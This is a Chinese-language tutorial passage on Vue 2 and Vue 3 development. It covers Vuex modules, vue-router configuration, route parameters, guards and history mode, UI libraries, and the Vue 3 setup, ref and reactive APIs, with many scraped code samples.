1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <template> <div> <h1>当前求和为:{{ sum }}</h1> <h3>当前求和放大10倍后为:{{ bigSum }}</h3> <h3>学校:{{ school }},课程:{{ subject }}</h3> <h3 style="color: red"> Person组件的总人数是:{{personList.length }} </h3> <select v-model.number="n"> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> </select> <button @click="increment(n)">+</button> <button @click="decrement(n)">-</button> <button @click="incrementOdd(n)">当前求和为奇数再加</button> <button @click="incrementWait(n)">等一等再加</button> </div> </template> <script> import {mapGetters, mapState, mapMutations, mapActions} from 'vuex' export default { name: "Count", data() { return { n: 1, //用户选择的数字 }; }, methods: { //借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(对象写法) ...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}), //借助mapActions生成对应的方法,方法中会调用dispatch去联系actions(对象写法) ...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'}) }, computed: { // 借助mapState生成计算属性,从state中读取数据。(数组写法) ...mapState('countAbout',['sum','school','subject']), ...mapState('personAbout',['personList']), // 借助mapGetters生成计算属性,从state中读取数据。(数组写法) ...mapGetters('countAbout',['bigSum']) }, }; </script> <style> button { margin-left: 5px; } </style>
注意点:namespaced true
,count.js和person.js需要暴露出去
Vue路由的使用 解释:一个路由就是一组映射关系(key-value);key为路径,value可能是function(后端)或component(前端)
一般的我们会把一般组件 放到src/components文件夹中,路由组件 放到src/pages文件夹中
注意:
Vue2————vue-router@3(3版本)
Vue3————vue-router@4(4版本)
以Vue2为例:
1、首先安装插件 npm i vue-router@3
2、在main.js中先引入VueRouterimport VueRouter from 'vue-router'
3、再应用插件Vue.use(VueRouter)
4、在src/创建一个文件夹router,在router文件夹下创建一个index.js,该文件专门用于创建整个应用的路由器,该文件中要引入组件,并创建路由器
index.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import VueRouter from 'vue-router' import About from '../pages/About' import Home from '../pages/Home' export default new VueRouter ({ routes : [{ path : '/about' , component : About }, { path : '/home' , component : Home } ] })
5、引入路由器 import router from './router/index'
6、在new Vue的时候传入,代码如下:
1 2 3 4 5 new Vue({ el: '#app', render: h => h(App), router, })
App.vue:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <template> <div> <div class="row"> <Banner/> </div> <div class="row"> <div class="col-xs-2 col-xs-offset-2"> <div class="list-group"> <!-- active-class="active"实现导航高亮随鼠标点击而切换 --> <!-- Vue中通过router-link标签实现路由的切换 --> <router-link to="/about" class="list-group-item" active-class="active">About</router-link> <router-link to="/home" class="list-group-item" active-class="active">Home</router-link> </div> </div> <div class="col-xs-6"> <div class="panel"> <div class="panel-body"> <!-- 指定组件的呈现位置 --> <router-view></router-view> </div> </div> </div> </div> </div> </template> <script> import Banner from './components/Banner' export default { name: "App", components: {Banner} }; </script>
<router-view></router-view>
:组件呈现的位置
几个注意点:
1、路由组件通常存放在pages文件夹,一般组件通常存放在components文件夹
2、通过切换,隐藏 了的路由组件,默认是被销毁掉 的,需要的时候再去挂载,这样如果在一个组件中输入了数据,当我们跳转到另一个组件然后再回到这个组件的时候,我们之前输入的数据就没了,因为之前的组件已经销毁,现在是重新加载的。
3、每个组件都有自己的$router属性,里面存储着自己的路由信息
4、整个应用只有一个router,可以通过组件的$router属性获取到
嵌套路由 (父路由组件)Home.vue:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <template> <div> <h2>我是Home的内容</h2> <div> <ul class="nav nav-tabs"> <li> <!-- 此处要加上父组件的路径/home --> <router-link to="/home/news" class="list-group-item" active-class="active">News</router-link> </li> <li> <router-link to="/home/message" class="list-group-item" active-class="active">Message</router-link> </li> </ul> <router-view></router-view> </div> </div> </template> <script> export default { name: 'Home', } </script>
(子路由组件)Message.vue:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <template> <div> <ul> <li><a href="/message1">message001</a> </li> <li><a href="/message2">message002</a> </li> <li><a href="/message3">message003</a> </li> </ul> </div> </template> <script> export default { name: 'Message' } </script>
(子路由组件)News.vue:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <template> <div> <ul> <li>news001</li> <li>news002</li> <li>news003</li> </ul> </div> </template> <script> export default { name: "News", }; </script>
路由器src/router/index.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import VueRouter from 'vue-router' import About from '../pages/About' import Home from '../pages/Home' import News from '../pages/News' import Message from '../pages/Message' export default new VueRouter ({ routes : [{ path : '/about' , component : About }, { path : '/home' , component : Home , children : [{ path : 'news' , component : News , }, { path : 'message' , component : Message , } ] } ] })
几个注意点:
1、子路由路径不能加 /
2、在父路由中用子路由时,router-link中to的路径要写带有父路径的路径
路由传参(query参数) 此处继续用上面的例子
说明情景:Message.vue组件将展示多个消息,我们想查看消息的详情,考虑到代码的复用性,我们不可能每一条消息都对应的写一个Detail详情组件,此时我们只写一个Detail详情组件,通过路由传参的方式来实现点击不同的消息展现不同的消息详情。下面我们来看实现此功能的部分代码:主要观察Message.vue和Detail.vue
重点是Message.vue中的传参方式和Detail.vue中的获取参数的方式
index.js中写好路由规则:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import VueRouter from 'vue-router' import About from '../pages/About' import Home from '../pages/Home' import News from '../pages/News' import Message from '../pages/Message' import Detail from '../pages/Detail' export default new VueRouter ({ routes : [{ path : '/about' , component : About }, { path : '/home' , component : Home , children : [{ path : 'news' , component : News , }, { path : 'message' , component : Message , children : [{ path : 'detail' , component : Detail , }] } ] } ] })
Message.vue:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <template> <div> <ul> <li v-for="m in messageList" :key="m.id"> <!-- 跳转路由并携带query参数,to的字符串写法 --> <!-- <router-link :to="`/home/message/detail?id=${m.id}&title=${m.title}`">{{m.title}}</router-link> --> <!-- 跳转路由并携带query参数,to的对象写法 --> <router-link :to="{ path:'/home/message/detail', query: { id: m.id, title: m.title } }"> {{m.title}} </router-link> </li> </ul> <hr> <router-view></router-view> </div> </template> <script> export default { name: "Message", data() { return { messageList: [ { id: "001", title: "消息001" }, { id: "002", title: "消息002" }, { id: "003", title: "消息003" }, ], }; }, }; </script>
Detail.vue:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <template> <ul> <li>消息编号{{$route.query.id}}</li> <li>消息编号{{$route.query.title}}</li> </ul> </template> <script> export default { name:'detail', } </script> <style> </style>
命名路由 作用: 简化路由跳转时所写的路径
使用方法:
1、在配置路由规则router/index.js时给指定的路由配置好name属性
重点关注以下代码中的name属性配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import VueRouter from 'vue-router' import About from '../pages/About' import Home from '../pages/Home' import News from '../pages/News' import Message from '../pages/Message' import Detail from '../pages/Detail' export default new VueRouter ({ routes : [{ name : 'guanyu' , path : '/about' , component : About }, { path : '/home' , component : Home , children : [{ path : 'news' , component : News , }, { path : 'message' , component : Message , children : [{ name : 'xiangqing' , path : 'detail' , component : Detail , }] } ] } ] })
当我们给指定的路由配置好了name属性后,在使用router-link :to去指定跳转的路由时,就可以通过name来指定了,就不需要写很长的路径了。但是这样做有一个缺点,那就是我们只能用to的对象写法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <template> <div> <ul> <li v-for="m in messageList" :key="m.id"> <!-- 跳转路由并携带query参数,to的字符串写法 --> <!-- <router-link :to="`/home/message/detail?id=${m.id}&title=${m.title}`">{{m.title}}</router-link> --> <!-- 跳转路由并携带query参数,to的对象写法 --> <router-link :to="{ name:'xiangqing', query: { id: m.id, title: m.title } }"> {{m.title}} </router-link> </li> </ul> <hr> <router-view></router-view> </div> </template> <script> export default { name: "Message", data() { return { messageList: [ { id: "001", title: "消息001" }, { id: "002", title: "消息002" }, { id: "003", title: "消息003" }, ], }; }, }; </script>
路由传参(params参数) 此处我们依然用上面的例子
首先我们要处理的是找到router/index.js在配置路径的时候写上参数占位符,如下的:id
和:title
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import VueRouter from 'vue-router' import About from '../pages/About' import Home from '../pages/Home' import News from '../pages/News' import Message from '../pages/Message' import Detail from '../pages/Detail' export default new VueRouter ({ routes : [{ name : 'guanyu' , path : '/about' , component : About }, { path : '/home' , component : Home , children : [{ path : 'news' , component : News , }, { path : 'message' , component : Message , children : [{ name : 'xiangqing' , path : 'detail/:id/:title' , component : Detail , }] } ] } ] })
注意params传参必须指明name,如上面的name:’xiangqing’
接下来我们需要知道在router-link :to中如何使用:
主要看下面的params的字符串和对象的两种写法,需要注意的是在使用对象 的方式传参时,一定要指明name,并且此时只能用name配置来指明路径,不能用path来知名路径
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <template> <div> <ul> <li v-for="m in messageList" :key="m.id"> <!-- 跳转路由并携带params参数,to的字符串写法 --> <router-link :to="`/home/message/detail/${m.id}/${m.title}`">{{m.title}}</router-link> <!-- 跳转路由并携带params参数,to的对象写法 --> <!-- <router-link :to="{ name:'xiangqing',//params参数传参只能用name,不能用Paths params: { id: m.id, title: m.title } }"> {{m.title}} </router-link> --> </li> </ul> <hr> <router-view></router-view> </div> </template> <script> export default { name: "Message", data() { return { messageList: [ { id: "001", title: "消息001" }, { id: "002", title: "消息002" }, { id: "003", title: "消息003" }, ], }; }, }; </script>
路由的props配置 作用: 当我们在使用query或params传参时,获取参数时需要使用$router.query.参数
或$router.params.参数
这样就先的模板字符串有点过于复杂,为了简化这个操作,我们可以使用props配置。
基本使用:
在index.js中相应需要接收数据的组件(Detail)中写上props配置,一共有如下三种写法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import VueRouter from 'vue-router' import About from '../pages/About' import Home from '../pages/Home' import News from '../pages/News' import Message from '../pages/Message' import Detail from '../pages/Detail' export default new VueRouter ({ routes : [{ name : 'guanyu' , path : '/about' , component : About }, { path : '/home' , component : Home , children : [{ path : 'news' , component : News , }, { path : 'message' , component : Message , children : [{ name : 'xiangqing' , path : 'detail' , component : Detail , props ($route ) { return { id : $route.query .id , title : $route.query .title } } }] } ] } ] })
注意:props的第二种写法值为布尔值,若为真,就会把该路由组件收到的所有params 参数,以props的形式传给Detail组件;注意只能用于params参数。
然后在相应的(Detail)组件中配置好props接收数据即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <template> <ul> <li>消息编号{{id}}</li> <li>消息编号{{title}}</li> </ul> </template> <script> export default { name:'detail', props:['id', 'title'], } </script> <style> </style>
注意这里的名字要对应,当在Detail中接收之后,就可以直接用id来代替$router.query.id了
router-link的replace属性+编程式路由导航
浏览器的历史记录写入有两种模式分别为:push模式和replace模式:
push模式,浏览器会把每次的浏览的网址记录下来,存入到一个栈中,例如,这样就可以通过点击返回键回到上一个网页。replace模式当我们从一个网页跳到另一个网页的时候,新网页的地址会覆盖掉上一个网页的地址,这种情况就不能通过点击返回键返回到上一个网页了。
使用方法例如:<router-link replace to="/about">About</router-link>
编程式路由导航:
我们可以利用this.$router.push({})
和 this.$router.replace({})
来指定跳转
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 this.$router.push({ name: 'xiangqing', query: { id: m.id, title: m.title } }) this.$router.replace({ name: 'xiangqing', query: { id: m.id, title: m.title } })
如果利用的是push进行跳转,那么浏览器会将每一个网页的地址都记录到一个栈中,我们可以通过点击返回键返回到之前访问过的网页。如果利用的是replace进行跳转,那么浏览器在条状到新网页的时候会覆盖掉旧网页的地址,但是这样我们是无法通过点击返回键跳转到之前访问过的网页。
this.$router.back()
和this.$router.forward()
可以用来实现浏览器左上角的<
和 >
的用途。
this.$router.go(2)
前进两次,this.$router.go(-2)
后退两次
缓存路由组件 我们知道当通过路由来实现各组件间的切换的时候,当切换到另一个组件后,前一个组件中所填写的数据就会被没有了,这是因为当我们切换到另一个组件后,前一个组件将会被销毁,当我们再次返回此组件时,又会重新构建出该组件,所以之前所输入的内容就没有了。
但是有时候我们想保留这些数据,那么我就需要用到缓存路由组件<keep-alive></keep-alive>
1 2 3 4 5 6 7 8 9 <!-- 缓存一个路由组件 --> <keep-alive include="News"> <router-view></router-view> </keep-alive> <!-- 缓存多个路由组件 --> <!-- 此处News和Message都为组件 --> <keep-alive :include="['News', 'Message']"> <router-view></router-view> </keep-alive>
注意keep-alive要包裹着**展示区 **,且注意当缓存多个路由组件时,include前要加 :
两个新的生命周期钩子activated+deactivated(路由组件独有) 使用场景:
如果一个组件被缓存,当我们在这个组件中写了定时器,那么当我们跳转到另一个新组件的时候,由于原组件被缓存,所以原组件中的定时器还是会一直执行。为了解决这类问题,我们就需要用到这两个生命周期钩子了。
作用: 路由组件所独有的两个钩子,用于捕获路由组件的激活状态
activated
路由组件被激活时触发(当组件展示到页面的时候)
deactivated
路由组件失活时触发(当组件跳转后)
那么我们是如何解决上面所描述的问题的呢?
我们可以将这些会一直执行的函数放到activated(){…}函数中,将控制停止执行该函数的代码写在deactivated(){…}函数中,对于定时器就是clearInterval(this.timer)。
全局路由守卫
控制路由的权限,在满足一定条件下才能访问某个路由组件
使用方法:
1、找到路由器配置文件index.js
2、如果要使用路由守卫,那么此时就不能再用export default进行默认暴露了,我们需要先将new VueRouter({})用一个变量接收到如:const router = new VueRouter({})
,且切记,在文件的最后方要对外暴露出router export default export
3、在与new VueRouter({})同级的位置写如下代码
1 2 3 4 5 6 7 8 9 10 router.beforeEach ((to, from , next ) => { next (); }) router.afterEach ((to, from ) => { document .title = to.meta .title || 'Welcome' })
实例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 router.beforeEach ((to, from , next ) => { if (to.meta .isAuth ) { if (判断条件) { next (); } else { alert ('学校名不对,无权限查看!' ) } } else { next () } }) router.afterEach ((to, from ) => { document .title = to.meta .title || 'Welcome' }) export default router
当我们想指定控制哪个路由需要限制的时候,用普通的方法可能需要通过to.name来查看该路由组件所要前往的路由组件是否是xxx需要校验的路由组件。但是我们会通过在路由器配置index.js中对应的路由位置,写上meta:{},该对象是专门给程序员自己写一些自定义的配置属性的,那么我们就可以在该对象里面写上一个isAuth用来判断是否需要权限校验。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 { name : 'xiaoxi' , path : 'message' , component : Message , meta : { isAuth : true , title : '新闻' }, children : [{ name : 'xiangqing' , path : 'detail' , component : Detail , meta : { isAuth : true , title : '详情' }, props ($route ) { return { id : $route.query .id , title : $route.query .title } } }] }
当发生路由跳转的时候,会依次调用beforeEach和afterEach两个函数,也就相当于进入新路由组件前和进入新路由组件后 ,这个要和组件内路由守卫区别开来,组件内路由守卫也有两个函数,分别为beforeRouterEnter和beforeRouterLeave,这两个函数的调用时机和上两个不一样,beforeRouterEnter和全局路由守卫beforeEach是一样的,但是当进入新路由组件之后,并不会调用beforeRouterLeave,这个函数是当我们从这个新路由跳转到另一个新路由的时候调用。
独享路由守卫
单独控制某个组件的路由守卫,写在路由器配置文件index.js中相应的路由组件配置的地方,注意:只有beforeEnter: (to, from, next) => {}前置路由守卫,没有后置路由守卫。如果有需要后置路由守卫完成的工作,那么可以通过全局后置路由守卫来解决。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import VueRouter from 'vue-router' import About from '../pages/About' import Home from '../pages/Home' import News from '../pages/News' import Message from '../pages/Message' import Detail from '../pages/Detail' const router = new VueRouter ({ routes : [{ name : 'guanyu' , path : '/about' , component : About , meta : { title : '关于' } }, { name : 'zhuye' , path : '/home' , component : Home , meta : { title : '主页' }, children : [{ name : 'xinwen' , path : 'news' , component : News , meta : { isAuth : true , title : '新闻' }, beforeEnter : (to, from , next ) => { if (to.meta .isAuth ) { if (判断条件) { next (); } else { alert ('条件不符,无权限查看!' ) } } else { next () } } }, { name : 'xiaoxi' , path : 'message' , component : Message , meta : { isAuth : true , title : '消息' }, children : [{ name : 'xiangqing' , path : 'detail' , component : Detail , meta : { isAuth : true , title : '详情' }, props ($route ) { return { id : $route.query .id , title : $route.query .title } } }] } ] } ] }) router.afterEach ((to, from ) => { document .title = to.meta .title || 'Welcome' }) export default router
组件内路由守卫
重要,通过路由规则进入该组件时才会调用这里的两个函数,注意区分beforeRouterLeave和afterEach,它们两个不一样。一个是从新组件离开时调用,一个时进入新组件后调用。
注意写在路由组件中如下:About.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <template> <div> <h2>我是About的内容</h2> </div> </template> <script> export default { name: "About", // 通过路由规则,进入该组件时被调用 beforeRouteEnter(to, from, next) { alert("APP---beforeRouteEnter") if (!to.meta.isAuth) { //判断是否需要鉴别权限 if (判断条件) { next(); } else { alert("条件不符,无权限查看!"); } } else { next(); } }, // 通过路由规则,离开该组件时被调用 beforeRouteLeave(to, from, next) { alert("APP---beforeRouteLeave") next() }, }; </script>
history模式与hash模式+项目打包部署 history和hash的主要区别在于访问路径上的区别,history模式的访问路径简洁易懂,而hash模式的访问路径中有一些不会发送到服务器端的东西,一般就是/#/即其后面的路径,我们的页面路径上会显示这些路径但是这些路径并不会作为访问路径发送到后端服务器上。
那么为什么要设计这个/#/的hash模式呢?
因为当我们项目上线了之后,用户如果通过点击页面上的一些元素进行组件跳转,这样是不会出现什么问题的,但是,如果通过路径进行访问某个组件时,如果此时用的时history模式就会出现错误,因为如果时histroy模式,那么客户端会将整个路径当成请求地址发送个后端服务器,但是很显然前端的路由匹配规则,和后端配置的请求地址时不一样的,后端只需要配置一个路由最开始的那一个路径即可,然后通过前端的路由匹配规则进行页面条状即可。那么如果我们使用的时hash模式,/#/后面的路由匹配规则就不会当作访问路径发送给后端服务器。就不会出现404的问题了。
但是,如果我们就是想用history模式进行项目的上线,也是有解决办法的,但是需要后端进行相应的处理。
这里我们以node后端(java后端也有相应的解决方法)为例:
可以通过第三方库connect-history
来解决这个问题(node后端第三方库)
下载地址: connect-history-api-fallback - npm (npmjs.com)
1、在后端使用npm i connect-history-api-fallback
来安装这个第三方库
2、引入该库,例如:const history = require('connect-history-api-fallback')
3、使用该中间件,注意一定要在use使用static静态资源前使用,app.use(history())
这样就不会出现上述问题了。
当我们写完了整个项目之后,需要将整个项目进行打包部署,打包时我们可以通过一些打包工具如webpack等进行打包,例如我们可以执行npm run bulid
来进行项目的打包,当我们执行完这个命令后,我们的项目文件夹中就会出现一个dist文件夹,这个就是我们的项目在经过打包之后生成的文件夹。也是我们需要发送给后端程序员的项目文件夹,在这个文件中,将我们所写的一些用户普通浏览器无法识别的代码变成了,正常的.html .css .js文件。
VueUI组件库 移动端常用UI组件库 Vant https://youzan.github.io/vant
Cube UI https://didi.github.io/cube-ui
Mint UI http://mint-ui.github.io
PC端常用UI组件库 Element UI https://element.eleme.cn
IView UI https://www.iviewui.com
注意:如果按照官网的提示进行完整的引入将会使我们的项目体积变得很大,一般使用“按需引入”,这样可以使我们的项目体积变得小一些。至于“按需引入”怎么使用,则需要查看官方文档的“按需引入”部分。
查阅官网的按需引入介绍:
修改相应的babel.config.js配置文件:例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 module .exports = { presets : [ '@vue/cli-plugin-babel/preset' , ["@babel/preset-env" , {"modules" : false }], ], plugins :[ [ "component" , { "libraryName" : "element-ui" , "styleLibraryName" : "theme-chalk" } ] ] }
注意 “presets”: [[“es2015”, { “modules”: false }]]运行时可能会报错:Error: Cannot find module ‘babel-preset-es2015’;这是我们将这样修改即可:”presets”: [[“@babel/preset-env”, { “modules”: false }]]
接下来到main.js中引入部分组件:以Button和Select组件为例:
1 2 3 4 5 6 7 8 9 10 11 import {Button , Select } from 'element-ui' ;Vue .component (Button .name , Button );Vue .component (Select .name , Select );* 或写为 * Vue .use (Button ) * Vue .use (Select ) */ new Vue ({ el : '#app' , render : h => h (App ) });
这里的Button.name其实就是我们在使用时的标签名,我们也可以自定义,将其改为 'my-button'
,那么在使用的时候我们就需要通过<my-button></my-button>
来使用。
Vue3(Vue脚手架) 优点:
性能的提升:
1、打包大小减少
2、初次渲染和更新渲染更快
3、内存减少
……
源码的升级:
1、使用Proxy代替defineProperty实现响应式
2、重写虚拟DOM的实现和Tree-Shaking
……
可以更好的支持TypeScript
新特性:
1、CompositionAPI(组合API)
1、setup配置
2、ref与reactive
3、watch与watchEffect
4、provide与inject
5、……
2、新的内置组件
1、Fragment
2、Teleprot
3、Suspense
3、其他改变
1、新的生命周期钩子
2、data选项应始终被声明为一个函数
3、移除keyCode支持作为v-on的修饰符
……
Vue2和Vue3的响应式对比 Vue2的响应式存在的问题:
新增属性、删除属性,界面不会更新。
直接通过下标修改数组,界面不会自动更新
Vue3的响应式实现原理:
通过Proxy(代理):拦截对象中任意属性的变化,包括:属性值的读写、属性的添加、属性的删除等。
通过Reflect(反射):对被代理对象的属性进行操作。
创建Vue3.0工程 1、使用vue-cli创建
官方文档:https://cli.vue.js.org/zh/guide/creating-a-project.html#vue-create
1 2 3 4 5 6 7 8 9 vue --version npm install -g @vue/cli vue create vue_test cd vue_testnpm run serve
2、使用vite创建
官方文档:https://v3.cn.vue.js.org/guide/installation.html#vite
vite官网:https://vitejs.cn
vite——新一代前端构建工具
优势:
1、开发环境中,无需打包操作,可快速的冷启动
2、轻量快速的热重载(HMR)
3、真正的按需编译,不再等待整个应用编译完成
传统构建与vite构建对比图:
1 2 3 4 5 6 7 8 npm init vite-app <project-name> cd <project-name>npm install npm run dev
分析工程结构: main.js 1 2 3 4 5 import { createApp } from 'vue' import App from './App.vue' createApp (App ).mount ('#app' )
Vue.js 1 2 3 4 5 6 7 8 9 10 11 12 13 <temolate> <!-- Vue3组件中的模板结构可以没有根标签 --> </temolate> <script> export default { name: 'App', components: { } } </script> <style> </style>
其他部分没有啥区别
setup的使用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <template> <!-- Vue3组件中的模板结构可以没有根标签 --> <h1>我是App组件</h1> <h1>个人信息</h1> <h2>姓名:{{name}}</h2> <h2>年龄:{{age}}</h2> <button @click="sayHello">hello</button> </template> <script> import {h} from 'vue' export default { name: 'App', // 此处只是测试一下setup,暂时不考虑响应式的问题 setup() { // 数据 let name = '张三' let age = 18 // 方法 function sayHello() { alert(`我叫${name},我${age}岁了,hello!`) } // 返回一个对象(常用) return { name, age, sayHello, } // 返回一个函数(渲染函数) // return () => h('h1','hello') } } </script>
这里将数据和方法都配置的到setup中了,注意一定要有return 返回值,结构中才能使用;而且以上写法只用于初始setup的用法,不能实现响应式。
ref的使用
注意普通数据类型和对象数据类型的区别,普通函数是ref,对象是proxy
注意在使用之前要先引入ref
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <template> <!-- Vue3组件中的模板结构可以没有根标签 --> <h1>我是App组件</h1> <h1>个人信息</h1> <h2>姓名:{{name}}</h2> <h2>年龄:{{age}}</h2> <h3>工作种类:{{job.type}}</h3> <h3>工作薪水:{{job.salary}}</h3> <button @click="changeInfo">修改人的信息</button> </template> <script> import {ref} from 'vue' export default { name: 'App', // 此处只是测试一下setup,暂时不考虑响应式的问题 setup() { // 数据 let name = ref('张三') let age = ref(18) let job = ref({ type: '前端工程师', salary: '30K' }) // 方法 function changeInfo() { name.value = '李四' age.value = 48 job.value.type = '后端工程师' job.value.salary = '40K' } // 返回一个对象(常用) return { name, age, changeInfo, job } } } </script>
reactive函数的使用
只能用来定义对象或者数组类型的数据
在Vue2中,当我们直接修改一个对象中的某个属性或者直接修改数组中的某个元素的时候,Vue是检测不到的,也就无法实时修改页面内容。但是当我们使用reactive处理了这些数据类型之后,我们就可以直接修改一个对象中的某个属性或者直接修改数组中的某个元素了,这样Vue是可以检测到的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <template> <!-- Vue3组件中的模板结构可以没有根标签 --> <h1>我是App组件</h1> <h1>个人信息</h1> <h2>姓名:{{person.name}}</h2> <h2>年龄:{{person.age}}</h2> <h3>工作种类:{{person.job.type}}</h3> <h3>工作薪水:{{person.job.salary}}</h3> <button @click="changeInfo">修改人的信息</button> </template> <script> import {ref,reactive} from 'vue' export default { name: 'App', // 此处只是测试一下setup,暂时不考虑响应式的问题 setup() { // 数据 let person = reactive({ name: '张三', age: 18, job: { type: '前端工程师', salary: '30K', a:{ b:{ c:666 } } }, hobby:['c++','java','python'], }) let arr = reactive(['数据1','数据2','数据3']) // 方法 function changeInfo() { person.name = '李四' person.age = 48 person.job.type = '后端工程师' person.job.salary = '40K' person.job.a.b.c = 999 person.hobby[0] = 'Vue3' } // 返回一个对象(常用) return { person, changeInfo } } } </script>
reactive对比ref 从定义数据角度对比 :
1、ref用来定义:基本类型数据
2、reactive用来定义:对象(或数组)类型数据
3、备注:ref也可以用来定义对象(或数组)类型数据,它内部会自动通过reactive转为代理对象
从用来角度对比:
1、ref通过Object.defineProperty()
的get
与set
来实现响应式(数据劫持)
2、reactive通过使用Proxy来实现响应式(数据劫持),并通过Reflect操作源对象内部的数据
从使用角度对比:
1、ref定义的数据:操作数据需要.value
,读取数据时模板直接读取不需要.value
2、reactive定义的数据:操作数据与读取数据:均不需要.value
Vue3中的响应式原理
Reflect.set和Reflect.get来修改和获取相应复杂数据类型中的数据。
Reflect可以省去很多的try-catch,当遇到问题的时候程序不会崩掉,我们可以通过Reflect的返回值来判断Reflect的相关语句是否执行成功,true/false
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Document</title > </head > <body > <script type ="text/javascript" > let person = { name : '张三' , age : 18 } const p = new Proxy (person, { get (target, propName ) { console .log (`有人读取了p身上的${propName} 属性` ) return Reflect .get (target, propName) }, set (target, propName, value ) { console .log (`有人修改了p身上的${propName} 属性,我要去更新界面了` ) Reflect .set (target, propName, value) }, deleteProperty (target, propName ) { console .log (`有人删除了p身上的${propName} 属性,我要去更新界面了` ) return Reflect .deleteProperty (target, propName) } }) </script > </body > </html >
setup的两个注意点 setup执行的时机:
在beforeCreate之前执行一次,this是undefine
setup的参数:
1、props:值为对象,包含:组件外部传递过来,且组件内部声明接受了的属性
2、context:上下文对象
1、attrs:值为对象,包含:组件外部传递过来,但没有在props配置中声明的属性,相当于this.$attrs
2、slots:收到的插槽内容,相当于this.$slots
3、emit:分发自定义事件的函数,相当于this.$emit
注意关注下面代码中的setup中的参数props和context,props中的msg和school为父组件传递过来的参数,emits中的hello为父组件传递过来的函数。还有就是插槽,当我们使用了插槽后,在$slots上就可以找到我们使用插槽的一些信息。
Demo.vue:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <template> <h1>一个人的信息</h1> <h2>姓名:{{person.name}}</h2> <h2>年龄:{{person.age}}</h2> <button @click="test">测试触发一下Demo组件的Hello事件</button> </template> <script> import {reactive} from 'vue' export default { name: 'Demo', props:['msg','school'], emits:['hello'], setup(props,context) { // 数据 let person = reactive({ name: '张三', age: 18 }) // 方法 function test() { context.emit('hello',666) } // 返回一个对象(常用) return { person, test } } } </script> <style> </style>
App.vue:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <template> <Demo @hello="showHelloMsg" msg="hello" school="xxx大学"> <template v-slot:qwe> <span>xxx大学</span> </template> <template v-slot:asd> <span>xxx大学</span> </template> </Demo> </template> <script> import Demo from "./components/Demo"; export default { name: "App", components: { Demo }, setup() { function showHelloMsg(value) { alert(`hello,hello事件被触发,收到的参数是:${value}!`); } return { showHelloMsg, }; }, }; </script>
computed属性的使用 Demo.vue
